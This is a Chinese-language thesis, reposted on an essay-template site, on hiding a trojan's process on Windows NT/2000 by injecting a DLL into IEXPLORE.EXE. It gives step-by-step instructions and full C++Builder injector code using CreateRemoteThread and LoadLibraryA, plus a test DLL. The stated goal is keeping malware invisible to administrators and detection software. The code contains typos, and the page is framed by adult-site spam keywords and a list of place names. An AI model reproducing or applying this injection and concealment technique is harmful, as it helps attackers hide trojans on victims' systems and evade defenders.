在线观看av毛片亚洲_伊人久久大香线蕉成人综合网_一级片黄色视频播放_日韩免费86av网址_亚洲av理论在线电影网_一区二区国产免费高清在线观看视频_亚洲国产精品久久99人人更爽_精品少妇人妻久久免费

首頁 > 文章中心 > 正文

計算機畢業(yè)Windows NT2000系統(tǒng)下進程隱藏

前言:本站為你精心整理了計算機畢業(yè)Windows NT2000系統(tǒng)下進程隱藏范文,希望能為你的創(chuàng)作提供參考價值,我們的客服老師可以幫助你提供個性化的參考范文,歡迎咨詢。

計算機畢業(yè)Windows&nbspNT2000系統(tǒng)下進程隱藏

計算機畢業(yè)論文

摘要進程的隱藏一直是木馬程序設計者不斷探求的重要技術(shù),本文采用遠程線程技術(shù),通過動態(tài)鏈接庫方法,較好地解決了這一問題,通過遠程線程將木馬作為線程隱藏在其他進程中,從而達到隱藏的目的。

關鍵字進程線程木馬動態(tài)鏈接庫

木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏無疑是大家關心的焦點。

本文分析了WindowsNT/2000系統(tǒng)進程隱藏的基本技術(shù)和方法,并著重討論運用線程嫁接技術(shù)如何實現(xiàn)WindowsNT/2000系統(tǒng)中進程的隱藏。

1基本原理

在WIN95/98中,只需要將進程注冊為系統(tǒng)服務就能夠從進程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務管理器,WindowsNT/2000的任務管理器均能輕松顯示出木馬進程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測軟件的不斷發(fā)展,關聯(lián)進程和SOCKET已經(jīng)成為流行的技術(shù),假設一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經(jīng)完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統(tǒng)管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統(tǒng)管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發(fā)現(xiàn)木馬線程的存在,從而達到隱藏的目的。

2實現(xiàn)方法

為了弄清實現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL,DLL是DynamicLinkLibrary(動態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎,因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯,是由多個功能函數(shù)構(gòu)成,它并不能獨立運行,一般都是由進程加載并調(diào)用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現(xiàn)DLL,假設我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現(xiàn)那個進程而并不會出現(xiàn)木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。

運行DLL方法有多種,但其中最隱蔽的方法是采用動態(tài)嵌入技術(shù),動態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運行的進程中的技術(shù)。理論上來說,在Windows中的每個進程都有自己的私有內(nèi)存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們?nèi)匀豢梢岳梅N種方法進入并操作進程的私有內(nèi)存。動態(tài)嵌入技術(shù)有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術(shù),它只要有基本的進線程和動態(tài)鏈接庫的知識就可以很輕松地完成動態(tài)嵌入。

遠程線程技術(shù)指的是通過在另一個進程中創(chuàng)建遠程線程的方法進入那個進程的內(nèi)存地址空間。我們知道,在進程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內(nèi)存地址空間,也就擁有了那個遠程進程相當?shù)臋?quán)限。

3實施步驟

1)用Process32Next()函數(shù)找到宿主進程,獲取宿主進程ID,并用

OpenProcess()函數(shù)打開宿主進程。

2)用VirtualAllocEx()函數(shù)分配遠程進程地址空間中的

內(nèi)存。

3)用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。

4)拷貝到步驟二已經(jīng)分配的內(nèi)存中。

5)用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實地址(在kernel32.dll中)。

6)用CreateRemoteThread()函數(shù)在遠程進程中創(chuàng)建一個線程。

7)它調(diào)用正確的LoadlibraryA()函數(shù)。

8)為它傳遞步驟二中分配的內(nèi)存地址。

4具體實例

下面是在C++Builder4.0環(huán)境下編寫的運用遠程線程技術(shù)隱藏木馬的程序代碼:

#include<vcl.h>

#include<windows.h>

#include<stdio.h>

#include<tlhelp32.h>//該頭文件包涵了進程操作的API函數(shù)

#pragmahdrstop

#include"Unit1.h"

#pragmapackage(smart_init)

#pragmaresource"*.dfm"

InsistingpszLibFileName;//存放待隱藏的DLL文件名

HANDLEhProcessSnap=NULL;//進程快照句柄

HANDLEhRemoteProcess;//遠程進程句柄

LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間

HMODULEphmd;//存放kernel32.dll句柄

HANDLEhRemoteThread1=NULL;//存放遠程線程句柄

TForm1*Form1;

//---------------------------------------------------------

__fastcallTForm1::TForm1(TComponent*Owner)

:TForm(Owner)

{

}

//---------------------------------------------------------

void__fastcallTForm1::Button1Click(TObject*Sender

{

PROCESSENTRY32pe32={0};

DWORDdwRemoteProcessId;

hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//打開進程快照

if(hProcessSnap==(HANDLE)-1)

{

MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);

exit(0);

}//失敗返回

pe32.dwSize=sizeof(PROCESSENTRY32);

if(Process32Fi

rst(hProcessSnap,&pe32))//獲取第一個進程

{

do{

AnsiStringte;

te=pe32.szExeFile;

if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))

//找到宿主進程,以IEXPLORE.EXE為例

{dwRemoteProcessId=pe32.th32ProcessID;

break;

}

}

while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程

}

else

{

MessageBox(NULL,"取第一個進程失敗","",MB_OK);

exit(0);

}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM

_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);

//打開遠程進程

pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";

//假設hide.dll是待隱藏的進程

intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度

pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,

MEM_COMMIT,PAGE_READWRITE);

//申請存放文件名的空間

BOOLReturnCode=WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);

//把dll文件名寫入申請的空間

phmd=GetModuleHandle("kernel32.dll");

LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)

GetProcAddress(phmd,"LoadLibraryA");

//獲取動態(tài)鏈接庫函數(shù)地址

hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,

pfnStartAddr,pszLibFileRemote,0,NULL);

//創(chuàng)建遠程線

if(hRemoteThread1!=NULL)

CloseHandle(hRemoteThread1);//關閉遠程線程

if(hProcessSnap!=NULL)

CloseHandle(hProcessSnap);//關閉進程快照

}

該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。

至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經(jīng)正常地在遠程線程運行,我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試:

nclude<vcl.h>

#include<windows.h>

#pragmahdrstop

#pragmaargsused

BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)

{

charszProcessId[64];

switch(reason)

{

caseDLL_PROCESS_ATTACH:

{//獲取當前進程ID

itoa(GetCurrentProcessId(),szProcessId,10);

MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);

break;

}

default:

}

returnTRUE;

}

當使用RmtDll.exe程序?qū)⑦@個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具

也能看到:

ProcessID:1208

C:\WINNT\IEXPLORE.EXE(0x00400000)

……

C:\WINNT\hide.dll(0x100000000)

……

這證明hide.dll已經(jīng)在IEXPLORE.EXE進程內(nèi)正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。

5結(jié)束語

進程隱藏技術(shù)和方法有很多,而且這一技術(shù)發(fā)展也相當快,本文僅從一個側(cè)面加以討論,希望通過這一探討讓我們對進程隱藏技術(shù)有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供參考,本文拋磚引玉,不當之處誠懇批評指正。

參考文獻

1JeffreyRichter著王建華、張煥生、侯麗坤等譯Windows核心編程機械工業(yè)出版社2

K.賴斯多夫H.亨德森著希望圖書創(chuàng)作室譯BorlandC++Builder實用培訓教程

会同县| 丰城市| 息烽县| 凤台县| 准格尔旗| 吉首市| 江门市| 濮阳县| 广水市| 九龙县| 景宁| 三穗县| 远安县| 三门峡市| 井研县| 黔西县| 汾西县| 南皮县| 乌兰察布市| 饶阳县| 介休市| 龙胜| 马鞍山市| 临江市| 洛隆县| 德钦县| 泰安市| 兴隆县| 磐石市| 行唐县| 盖州市| 大理市| 青龙| 海淀区| 女性| 新郑市| 云安县| 云浮市| 北碚区| 海伦市| 定边县|